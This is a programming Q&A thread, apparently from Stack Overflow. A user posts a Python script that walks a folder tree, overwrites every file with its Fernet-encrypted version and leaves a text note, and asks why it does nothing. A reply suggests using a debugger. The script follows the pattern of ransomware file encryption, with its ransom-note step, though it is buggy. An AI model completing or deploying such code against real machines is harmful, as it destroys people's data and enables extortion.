noealpo
noealpo

Reputation: 5

why does the encrypt function don't show any error but doesn't work?

I'm working on an academy project for encrypting all from some path and I have some problems like this for list recursive directories, I finally solved and now the code run without problems but doesn't execute anything. Does someone have an idea what may be going on?

The code is this:

from cryptography.fernet import Fernet
import os
from pathlib import PurePath


def generar_key():
    key = Fernet.generate_key()
    with open('key.key', 'wb') as key_file:
        key_file.write(key)


def cargar_key():
    return open('key.key', 'rb').read()


def encrypt(items, key):
    f = Fernet(key)
    for item in items:
        with open(item, 'rb') as file:
            file_data = file.read()
        encrypted_data = f.encrypt(file_data)
        with open(item, 'wb') as file:
            file.write(encrypted_data)


if __name__ == '__main__':

    ROOT = r"C:\Users\XXX\Desktop\archivos" #path to encrypt

    for path, subdirs, files in os.walk(ROOT): #for list the sub-directories of the path
        for name in files:
            pure_path = PurePath(path, name)

    items = os.listdir(path)
    full_path = [path + '\\' + item for item in items] #for list the files of the path

    generar_key()
    key = cargar_key()

    encrypt(full_path, key)

    with open(ROOT + '\\' + 'llegeix.txt', 'w') as file:
        file.write('Text\n')
        file.write('+ text')

Upvotes: 0

Views: 79

Answers (1)

Stimmot
Stimmot

Reputation: 1239

I would suggest for you to use a debugger where you can set breakpoints and check for variable values while the script runs. Most IDEs offer a debugger and from my own experience I can suggest PyCharm (which you can get as a student for free), as it offers pretty thorough debugging and interactive code execution. For example, you could check that in the function

def encrypt(items, key):
    f = Fernet(key)
    for item in items:
        with open(item, 'rb') as file:
            file_data = file.read()
        encrypted_data = f.encrypt(file_data)
        with open(item, 'wb') as file:
            file.write(encrypted_data)

the items list is not empty. This would be an error that happens to me a lot -- if the list is empty for some reason, nothing will happen of course.

Other than that, mkrieger1 already suggested to use print statements, which of course could also help if you don't have a debugger handy.

Upvotes: 1

Related Questions